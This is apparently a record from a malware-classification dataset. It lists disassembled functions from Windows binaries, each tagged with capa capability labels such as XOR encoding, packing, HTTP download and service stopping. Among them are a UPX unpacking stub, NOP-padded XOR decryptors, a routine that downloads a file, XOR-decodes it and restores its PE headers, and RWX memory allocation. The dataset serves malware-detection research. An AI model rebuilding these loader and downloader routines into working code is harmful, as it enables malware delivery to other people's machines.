joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100a0a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7000]
push edi
jmp 0x100a0ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x100a0c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x100a0b0
mov eax, 1
add ebx, ebx
jne 0x100a0d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x100a0c8
jne 0x100a0e4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x100a0c8
xor ecx, ecx
sub eax, 3
jb 0x100a0f8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x100a16a
mov ebp, eax
add ebx, ebx
jne 0x100a103
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x100a110
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x100a134
inc ecx
add ebx, ebx
jne 0x100a120
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x100a115
jne 0x100a131
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x100a115
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x100a154
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x100a145
jmp 0x100a0b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x100a154
add edi, ecx
jmp 0x100a0b6
pop esi
lea edi, [esi + 0x8000]
mov eax, dword [edi]
or eax, eax
je 0x100a1b3
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xa418]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xa470]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x100a171
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xa478]
or eax, eax
je 0x100a1ad
mov dword [ebx], eax
add ebx, 4
jmp 0x100a18e
call dword [esi + 0xa474]
mov ebp, dword [esi + 0xa47c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x100a1e7
sub esp, 0xffffff80
jmp 0x1003ac5

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x77648c8
nop
nop
test eax, eax
nop
nop
je 0x43204e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x2a8a325c
nop
nop
nop
nop
test eax, eax
nop
je 0x432084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x77ba3c50
Capabilities:
Check http status code
Create http request
Encode data using xor
Parse pe header
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.77ba4b00
push ebx
push esi
push edi
xor ebx, ebx
and byte [ebp - 0x1010], bl
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x100f]
rep stosd dword es:[edi], eax
push ebx
push ebx
stosw word es:[edi], ax
push ebx
push 4
push 0x77ba3b50
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
cmp esi, ebx
mov dword [ebp - 8], esi
je 0x77ba3daa
push ebx
push 0x4000000
push ebx
push ebx
push dword [ebp + 8]
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
cmp edi, ebx
je 0x77ba3da3
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0xc]
push eax
push 0x20000013
push edi
mov dword [ebp - 0x10], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x77ba3d3f
cmp dword [ebp - 0xc], 0xc8
jne 0x77ba3d3f
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x1010]
push 0x1000
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x77ba3d3f
mov esi, dword [ebp + 0xc]
cmp ebx, dword [ebp + 0x10]
ja 0x77ba3d4d
cmp dword [ebp - 4], 0
je 0x77ba3d5d
push dword [ebp - 4]
lea eax, [ebp - 0x1010]
push eax
lea eax, [ebx + esi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add ebx, dword [ebp - 4]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x1010]
push 0x1000
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x77ba3cfd
mov esi, dword [ebp - 8]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
jmp 0x77ba3daa
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push dword [ebp - 8]
call esi
jmp 0x77ba3daa
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 8]
call edi
movzx eax, word [esi]
mov ecx, dword [esi + 0x3c]
mov dword [esi + 0x3c], eax
add eax, esi
mov edx, 0x400
xor dword [eax], ecx
add eax, 4
dec edx
jne 0x77ba3d7b
mov eax, dword [esi + 0x3c]
mov byte [esi], 0x4d
mov byte [esi + 1], 0x5a
push 1
mov byte [eax + esi], 0x50
mov eax, dword [esi + 0x3c]
mov byte [eax + esi + 1], 0x45
mov eax, dword [ebp + 0x14]
mov dword [eax], ebx
pop eax
jmp 0x77ba3dac
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x77ba40e2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
push esi
push edi
je 0x77ba4198
cmp dword [0x77ba4b5c], 0
jne 0x77ba4194
push 0x40000
mov dword [0x77ba4b5c], 1
call fcn.77ba4942
test eax, eax
pop ecx
mov dword [0x77ba4b60], eax
je 0x77ba4194
mov esi, 0x50ea
push esi
call fcn.77ba4942
mov edi, eax
pop ecx
test edi, edi
je 0x77ba4194
push esi
push 0
push edi
call sub.MSVCRT.dll_memset
mov ecx, 0x77ba10d0
add esp, 0xc
mov eax, edi
sub ecx, edi
mov esi, 0x2875
mov dl, byte [ecx + eax]
xor dl, 0x61
mov byte [eax], dl
inc eax
dec esi
jne 0x77ba4148
mov esi, dword [0x77ba4b60]
lea eax, [ebp + 8]
push eax
push esi
push edi
call fcn.77ba3e0b
add esp, 0xc
test eax, eax
jne 0x77ba4175
push esi
call fcn.77ba4956
pop ecx
jmp 0x77ba4194
push edi
call fcn.77ba4956
lea eax, [ebp + 0xc]
push eax
push esi
call fcn.77ba3f99
mov eax, dword [ebp + 0xc]
add esp, 0xc
add eax, esi
push 0
push 1
push esi
call eax
xor eax, eax
jmp 0x77ba41b1
mov eax, dword [0x77ba4b60]
test eax, eax
je 0x77ba41ae
push dword [ebp + 8]
push eax
call fcn.77ba4022
pop ecx
pop ecx
jmp 0x77ba41b1
push 1
pop eax
pop edi
pop esi
pop ebp
ret

Function at 0x77ba4323
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push 0xf01ff
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x77ba435b
lea eax, [ebp - 0x1c]
push edi
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x77ba4942
Capabilities:
Allocate or change rwx memory

Disassembly:
push 0x40
push 0x1000
push dword [esp + 0xc]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
ret
Function at 0x4084c9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40d948
cmp edx, dword [eax]
je 0x4084eb
add eax, 8
inc ecx
cmp eax, 0x40d9d8
jl 0x4084dc
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40d948]
jne 0x408619
mov eax, dword [0xf0c7a8]
cmp eax, 1
je 0x4085f3
test eax, eax
jne 0x40851c
cmp dword [0x40d274], 1
je 0x4085f3
cmp edx, 0xfc
je 0x408619
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x408553
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00405300
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004053f0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x408596
lea eax, [ebp - 0x1a4]
push eax
call fcn.004053f0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40c484
push edi
call fcn.00405ec0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00405300
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00405310
lea eax, [ebp - 0xa0]
push 0x40c464
push eax
call fcn.00405310
push dword [esi + 0x40d94c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00405310
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040a693
add esp, 0x2c
pop edi
jmp 0x408619
lea eax, [ebp + 8]
lea esi, [esi + 0x40d94c]
push 0
push eax
push dword [esi]
call fcn.004053f0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x400703ff
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x1e091f83
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x9dd520
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x9dd526
pop ebp
sub ebp, 6
sub ebp, 0x5dd520
jmp 0x9dd584
jmp 0x9dd58d
mov eax, 0x5dd520
add eax, ebp
add eax, 0x93
mov ecx, 0x57e
mov edx, 0xa1b632cb
xor byte [eax], dl
inc eax
dec ecx
jne 0x9dd5a4
jmp 0x9dd5b7
inc eax
push es
inc eax
inc edx
test ebx, 0xa4acbcb
xor ecx, ebx
retf
Function at 0x402bc9
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401b7f
add eax, dword [ebp - 4]
push eax
call dword [sym.imp.msvcrt.dll_exit]
leave
ret 0x10
Function at 0x404de0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x200c
call fcn.00414f30
mov eax, dword [0x429460]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
lea eax, [ebp - 0x200c]
mov dword [ebp - 0x200c], 0
push eax
push 0xf003f
push 0
push 0x425330
push 0x80000002
mov dword [ebp - 0x2008], 0x1000
mov bl, 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x404e63
lea eax, [ebp - 0x200c]
push eax
push 0xf003f
push 0
push 0x425330
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x404e63
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040dfe8
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x2008]
push eax
lea eax, [ebp - 0x2004]
push eax
push 0
push 0
push str.UserId
push dword [ebp - 0x200c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x404ed5
cmp word [ebp - 0x2004], ax
jne 0x404ea9
xor ecx, ecx
lea eax, [ebp - 0x2004]
push ecx
push eax
mov ecx, 0x42cc80
call fcn.00401c10
jmp 0x404ed7
lea ecx, [ebp - 0x2004]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404eb2
sub ecx, edx
lea eax, [ebp - 0x2004]
sar ecx, 1
push ecx
push eax
mov ecx, 0x42cc80
call fcn.00401c10
jmp 0x404ed7
xor bl, bl
push dword [ebp - 0x200c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov al, bl
xor ecx, ebp
pop ebx
call fcn.0040dfe8
mov esp, ebp
pop ebp
ret

Function at 0x404f00
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3068
call fcn.00414f30
mov eax, dword [0x429460]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0x3068]
mov dword [ebp - 0x3068], 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x425330
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x404fef
mov eax, dword [0x42cc90]
mov ecx, 0x42cc80
cmp dword [0x42cc94], 8
cmovae ecx, dword [0x42cc80]
lea eax, [eax*2 + 2]
push eax
push ecx
push 1
push 0
push str.UserId
push dword [ebp - 0x3068]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 0x1830
lea eax, [ebp - 0x3064]
push eax
push 0xffffffffffffffff
push str.utm_sourceadwordsutm_campaigndownloadutm_mediummlutm_term_D0_BC_D0_B0_D0_B9_D0_BD_D0_BA_D1_80_D0_B0_D1_84_D1_82utm_content190237851793utm_siteminecraft_inside.ruutm_clickidCKqQ96OXptMCFRSJsgodmfQAWgutm_ntbpack9landingl5
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x3064]
lea edx, [eax + 2]
jmp 0x404fb0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404fb0
sub eax, edx
sar eax, 1
lea eax, [eax*2 + 2]
push eax
lea eax, [ebp - 0x3064]
push eax
push 1
push 0
push 0x424e78
push dword [ebp - 0x3068]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x3068]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040dfe8
mov esp, ebp
pop ebp
ret
Function at 0x405410
Capabilities:
Check os version

Disassembly:
push ecx
push esi
mov esi, dword [sym.imp.USER32.dll_LoadCursorW]
push edi
push 0x7f89
push 0
mov edi, edx
mov dword [0x42e0f0], ecx
call esi
push 0x7f00
push 0
mov dword [0x42e120], eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0x425598
push 0x92
push 0
mov dword [0x42e11c], eax
call esi
test eax, eax
je 0x405461
mov edx, eax
mov ecx, 0x42c8b8
call fcn.00408f20
push 0x425598
push 0xa3
push 0
call esi
test eax, eax
je 0x40547f
mov edx, eax
mov ecx, 0x42c8ec
call fcn.00408f20
push 0x425598
push 0x94
push 0
call esi
test eax, eax
je 0x40549d
mov edx, eax
mov ecx, 0x42c920
call fcn.00408f20
push 0x425598
push 0x95
push 0
call esi
test eax, eax
je 0x4054bb
mov edx, eax
mov ecx, 0x42c954
call fcn.00408f20
push 0x425598
push 0x97
push 0
call esi
test eax, eax
je 0x4054d9
mov edx, eax
mov ecx, 0x42c988
call fcn.00408f20
push 0x425598
push 0x98
push 0
call esi
test eax, eax
je 0x4054f7
mov edx, eax
mov ecx, 0x42c9bc
call fcn.00408f20
push 0x425598
push 0x99
push 0
call esi
test eax, eax
je 0x405515
mov edx, eax
mov ecx, 0x42c9f0
call fcn.00408f20
push 0x425598
push 0x9a
push 0
call esi
test eax, eax
je 0x405533
mov edx, eax
mov ecx, 0x42ca24
call fcn.00408f20
push 0x425598
push 0x9b
push 0
call esi
test eax, eax
je 0x405551
mov edx, eax
mov ecx, 0x42ca58
call fcn.00408f20
push 0x425598
push 0x9c
push 0
call esi
test eax, eax
je 0x40556f
mov edx, eax
mov ecx, 0x42ca8c
call fcn.00408f20
push 0x425598
push 0x9d
push 0
call esi
test eax, eax
je 0x40558d
mov edx, eax
mov ecx, 0x42cac0
call fcn.00408f20
push 0x425598
push 0x9e
push 0
call esi
test eax, eax
je 0x4055ab
mov edx, eax
mov ecx, 0x42caf4
call fcn.00408f20
push 0x425598
push 0x9f
push 0
call esi
test eax, eax
je 0x4055c9
mov edx, eax
mov ecx, 0x42cb28
call fcn.00408f20
push 0x425598
push 0xa0
push 0
call esi
test eax, eax
je 0x4055e7
mov edx, eax
mov ecx, 0x42cb5c
call fcn.00408f20
push 0x425598
push 0xa1
push 0
call esi
test eax, eax
je 0x405605
mov edx, eax
mov ecx, 0x42cb90
call fcn.00408f20
push 0x425598
push 0xa2
push 0
call esi
test eax, eax
je 0x405623
mov edx, eax
mov ecx, 0x42cbc4
call fcn.00408f20
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x42e128
push 0x6a
push dword [0x42e0f0]
call esi
push 0x64
push 0x42e1f0
push 0x69
push dword [0x42e0f0]
call esi
push 5
call dword [sym.imp.GDI32.dll_GetStockObject]
cmp byte [0x42e0f8], 0
mov dword [0x42e0fc], eax
mov dword [0x42e364], 0xadebff
mov dword [0x42e4f4], 0xd9ef3
jne 0x405697
call dword [sym.imp.KERNEL32.dll_GetVersion]
movzx eax, al
cmp eax, 6
push 0
sbb eax, eax
push 0x405c50
and eax, 0x23
push 0
add eax, 0x81
push eax
jmp 0x4056a5
push 0
push 0x406160
push 0
push 0x8d
push dword [0x42e0f0]
call dword [sym.imp.USER32.dll_CreateDialogParamW]
mov esi, eax
test esi, esi
jne 0x4056bb
pop edi
pop esi
pop ecx
ret
push edi
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
pop edi
mov eax, 1
pop esi
pop ecx
ret
Function at 0x406e10
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00414f30
mov eax, dword [0x429460]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x1010]
mov dword [ebp - 0x100c], 0x1000
push eax
push 0x2011f
push 0
push str.SOFTWAREElements_Browser
push 0x80000001
mov dword [ebp - 0x1010], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406fc1
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x100c]
push eax
lea eax, [ebp - 0x1008]
push eax
push 0
push 0
push str.utmstr
push dword [ebp - 0x1010]
call esi
test eax, eax
jne 0x406ebb
cmp byte [ebp - 0x1008], al
jne 0x406e97
xor ecx, ecx
jmp 0x406ea9
lea ecx, [ebp - 0x1008]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406ea0
sub ecx, edx
push ecx
lea eax, [ebp - 0x1008]
mov ecx, 0x42cc64
push eax
call fcn.00401a60
lea eax, [ebp - 0x100c]
mov dword [ebp - 0x100c], 0x1000
push eax
lea eax, [ebp - 0x1008]
push eax
push 0
push 0
push str.userid
push dword [ebp - 0x1010]
call esi
test eax, eax
jne 0x406f2d
cmp byte [ebp - 0x1008], al
jne 0x406f06
xor ecx, ecx
lea eax, [ebp - 0x1008]
push ecx
push eax
mov ecx, 0x42cbf8
call fcn.00401a60
jmp 0x406f32
lea ecx, [ebp - 0x1008]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406f10
sub ecx, edx
lea eax, [ebp - 0x1008]
push ecx
push eax
mov ecx, 0x42cbf8
call fcn.00401a60
jmp 0x406f32
call fcn.00407070
lea eax, [ebp - 0x100c]
mov dword [ebp - 0x100c], 0x1000
push eax
lea eax, [ebp - 0x1008]
push eax
push 0
push 0
push str.elementsbrowser_ver
push dword [ebp - 0x1010]
call esi
test eax, eax
jne 0x406f93
cmp byte [ebp - 0x1008], al
jne 0x406f73
xor ecx, ecx
lea eax, [ebp - 0x1008]
push ecx
push eax
jmp 0x406f9a
lea ecx, [ebp - 0x1008]
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406f80
sub ecx, edx
lea eax, [ebp - 0x1008]
push ecx
push eax
jmp 0x406f9a
push 3
push 0x4254a0
mov ecx, 0x42cc28
call fcn.00401a60
push dword [ebp - 0x1010]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040dfe8
mov esp, ebp
pop ebp
ret
call fcn.00407070
push 3
push 0x4254a0
mov ecx, 0x42cc28
call fcn.00401a60
push 0x10
push str.sourceidbrowser
mov ecx, 0x42cc64
call fcn.00401a60
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.0040dfe8
mov esp, ebp
pop ebp
ret
Function at 0x407470
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x429460]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0
push 0
push 0
push 0
push 0x425450
mov dword [ebp - 0x20c], edx
mov edi, ecx
call dword [sym.imp.WININET.dll_InternetOpenW]
push 0x100
mov ebx, eax
mov byte [ebp - 0x205], 1
lea eax, [ebp - 0x204]
push eax
push 0x68
push dword [0x42e0f0]
call dword [sym.imp.USER32.dll_LoadStringW]
cmp byte [0x42e125], 0
jne 0x40751c
push 0
push 0
push 0x465
push esi
mov dword [edi], 0
call dword [sym.imp.USER32.dll_PostMessageW]
mov edx, dword [ebp - 0x20c]
mov ecx, ebx
push esi
push edi
call fcn.00407650
add esp, 8
test al, al
jne 0x40751c
push 0x21
push 0x425450
push 0x42e1f0
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 1
je 0x4074c7
mov byte [ebp - 0x205], 0
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0
push 0
push 0x466
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x205]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0040dfe8
mov esp, ebp
pop ebp
ret

Function at 0x407550
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2004
call fcn.00414f30
mov eax, dword [0x429460]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push esi
mov word [ebp - 0x2004], ax
mov esi, ecx
lea eax, [ebp - 0x2004]
push eax
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
cmp word [ebp - 0x2004], 0
jne 0x407593
xor ecx, ecx
jmp 0x4075af
lea ecx, [ebp - 0x2004]
lea edx, [ecx + 2]
lea esp, [esp]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4075a0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x2004]
mov ecx, esi
push eax
call fcn.00401c10
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x4075e7
cmp dword [esi + 0x14], 8
jb 0x4075cf
mov eax, dword [esi]
jmp 0x4075d1
mov eax, esi
cmp word [eax + ecx*2 - 2], 0x5c
je 0x4075e7
push 1
push 0x425244
mov ecx, esi
call fcn.00403520
push 0x11
push str.Elements_Browser_
mov ecx, esi
call fcn.00403520
cmp dword [esi + 0x14], 8
jb 0x4075ff
mov eax, dword [esi]
jmp 0x407601
mov eax, esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0xc
push str.elements.bin
mov ecx, esi
call fcn.00403520
cmp dword [esi + 0x14], 8
jb 0x407620
mov esi, dword [esi]
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0040dfe8
mov esp, ebp
pop ebp
ret
Function at 0x407bb0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2020
call fcn.00414f30
mov eax, dword [0x429460]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
lea eax, [edi + 0x58]
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
push dword [edi + 4]
mov esi, eax
mov dword [ebp - 0x201c], esi
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x407bf3
mov eax, dword [edi + 0x34]
jmp 0x407bf6
mov eax, dword [edi + 0x38]
mov dword [ebp - 0x2018], eax
test esi, esi
je 0x407d29
push esi
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xfffffffffffffff0
push dword [edi + 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
test al, 1
mov ecx, 0x2005
mov eax, 0x2004
cmovne eax, ecx
push 0x2000
mov dword [ebp - 0x2020], eax
lea eax, [ebp - 0x2004]
push 0
push eax
call fcn.00414f60
add esp, 0xc
lea eax, [ebp - 0x2014]
push eax
push dword [edi + 4]
call dword [sym.imp.USER32.dll_GetClientRect]
push 0x1000
lea eax, [ebp - 0x2004]
push eax
push dword [edi + 4]
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x2004]
push 0x425568
push eax
call fcn.0040ef63
mov esi, eax
add esp, 8
test esi, esi
je 0x407c86
add esi, 6
jmp 0x407c8c
lea esi, [ebp - 0x2004]
xor eax, eax
cmp word [esi], ax
je 0x407cae
mov ecx, esi
cmp word [ecx], 0x3c
je 0x407ca8
inc eax
cmp word [esi + eax*2], 0
lea ecx, [esi + eax*2]
jne 0x407c95
jmp 0x407cae
xor ecx, ecx
mov word [esi + eax*2], cx
push dword [edi + 0x24]
push ebx
call dword [sym.imp.GDI32.dll_SetBkColor]
push dword [ebp - 0x2018]
push ebx
call dword [sym.imp.GDI32.dll_SetTextColor]
push dword [ebp - 0x201c]
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
mov edx, esi
mov dword [ebp - 0x2018], eax
lea eax, [edx + 2]
lea ecx, [ecx]
mov cx, word [edx]
add edx, 2
test cx, cx
jne 0x407ce0
sub edx, eax
mov eax, dword [ebp - 0x2020]
push eax
lea eax, [ebp - 0x2014]
sar edx, 1
push eax
push edx
push esi
push ebx
call dword [sym.imp.USER32.dll_DrawTextW]
push dword [ebp - 0x2018]
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
push dword [ebp - 0x201c]
call dword [sym.imp.GDI32.dll_DeleteObject]
push dword [edi + 0x24]
push ebx
call dword [sym.imp.GDI32.dll_SetBkColor]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040dfe8
mov esp, ebp
pop ebp
ret 4